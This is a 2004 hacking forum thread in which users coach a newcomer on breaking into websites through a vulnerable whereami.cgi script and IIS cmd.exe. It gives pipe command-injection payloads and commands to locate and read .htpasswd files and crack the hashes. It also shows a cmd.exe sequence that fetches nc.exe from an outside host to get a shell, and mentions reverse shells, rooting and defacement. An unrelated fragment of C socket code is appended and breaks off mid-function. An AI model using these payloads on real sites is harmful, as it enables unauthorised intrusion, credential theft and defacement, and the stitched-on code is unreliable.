Hey guys , Im fairly new to exploiting and such, what can I do when I get access to this page
/cgi-bin/whereami.cgi?g=ls
On a website.... It says like DUMP OF Environment Variables and shows all this info about the site/server
I heard you can execute shell commands somehow, Anyone know about this?
atomix
May 19 2004, 12:15 AM
vuln is old as shit... im sure you can do it like this:
cgi-bin/whereami.cgi?g=|ls|
or cgi-bin/whereami.cgi?g=|`ls`|
rUn-gUn
May 19 2004, 12:18 AM
yea but what does it do
rapt0r
May 19 2004, 01:58 AM
I believe this is used to run commands sort of like SQL Injection techniques. Is that what you are trying to do?
rUn-gUn
May 19 2004, 02:15 AM
Well im just trying to gain access to the site thru this exploit... but im not sure how I run commands with it , and which commands to run..
Blackknight
May 19 2004, 03:24 AM
Your trying to hack the page.. yay for you
But for learning purposes the whole point is to get past the filters and execute a command the command most likely being a unix command ls is like dir for windows etc From there you can send a reverse shell to your box and try a local root attempt. But if you just want to deface the site.. then u can do that with the reverse shell.. i won't go into details you can do some research
setthesun
May 19 2004, 05:21 AM
Put a pipe and execute commands in bash. Of course you have to know unix.
fizzik
May 19 2004, 07:35 AM
atomix is right, the exploit is old as shit. having said that, you will VERY occasionally find them. whereami.cgi?g=commands . It is a ccbill script by the way.
EXPLOiTED
May 20 2004, 04:28 AM
Well... You dont necessarily need to know UNiX... im not talking about this specific question of /cgi-bin/whereami.cgi?g=ls i found a hole in another site, where i need to gain shell back to fix something... and i scanned... found "CGi holes"... such as:
/scripts/cmd.exe?/c+dir%20c:\
Now when i exec that, i see the dir of C:\... But i cant seem to do anything else, (ie FTP, mkdir, net start) and i was wondering if there were any possible way to gain a shell from this... Any insights?
brainbuster
May 20 2004, 08:54 AM
you could do ..
/scripts/cmd.exe?/c+echo open 123.123.123.123>ftp.bat
/scripts/cmd.exe?/c+echo username >ftp.bat
/scripts/cmd.exe?/c+echo password>ftp.bat
/scripts/cmd.exe?/c+echo get nc.exe>ftp.bat
then you run :
/scripts/cmd.exe?/c+ftp -s:ftp.bat
and voila nc.exe is downloaded :-)
EXPLOiTED
May 20 2004, 03:26 PM
It seems as tho i can only use "DiR"... I will search around and find a text that i can possibly open, maybe get a login / pw for telnet, and fix my problem :\. Thanks for the help
EXPLOiTED
DJVandal
Jun 4 2004, 10:38 AM
QUOTE (rUn-gUn @ May 19 2004, 02:15 AM)
Well im just trying to gain access to the site thru this exploit... but im not sure how I run commands with it , and which commands to run..
ok so i am assumeing this is a porn site my specialty
This script is old but has been renamed alot of times also to glocation.cgi and a couple of other names any how you want acces to the site right so you need a password
try g=locate */.htpasswd g=locate *.passwd
and such also try replaceing locate with find
once you have found the htpasswd file use g=cat /usr/www/pornosite.com/cgi-bin/.htpasswd
of course useing the real path to the passfile instead you will now most likely have a list of usernames and DES encrypted pass's there are many programs out there to decrypt DES and it is not a hard encryption to crack
lee
Jun 4 2004, 12:24 PM
If you can only DIR, but not exec try to copy the cmd.exe to another one and use this one... by the way all your activity with cmd.exe will be logged...
unsigned long int net_resolve (char *host) { long i; struct hostent *he;
i = inet_addr (host); if (i == -1) { he = gethostbyname (host); if (he == NULL) { return (0); } else { return (*(unsigned long *) he->h_addr); } }
return (i); }
int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec) { int n, len, error, flags; int fd; struct timeval tv; fd_set rset, wset;
/* first allocate a socket */ cs->sin_family = AF_INET; cs->sin_port = htons (port); fd = socket (cs->sin_family, SOCK_STREAM, 0); if (fd == -1) return (-1);
cs->sin_addr.s_addr = net_resolve (server); if (cs->sin_addr.s_addr == 0) { close (fd); return (-1); }
flags = fcntl (fd, F_GETFL, 0); if (flags == -1) { close (fd); return (-1); } n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); if (n == -1) { close (fd); return (-1); }
error = 0;
n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); if (n < 0) { if (errno != EINPROGRESS) { close (fd); return (-1); } } if (n == 0) goto done;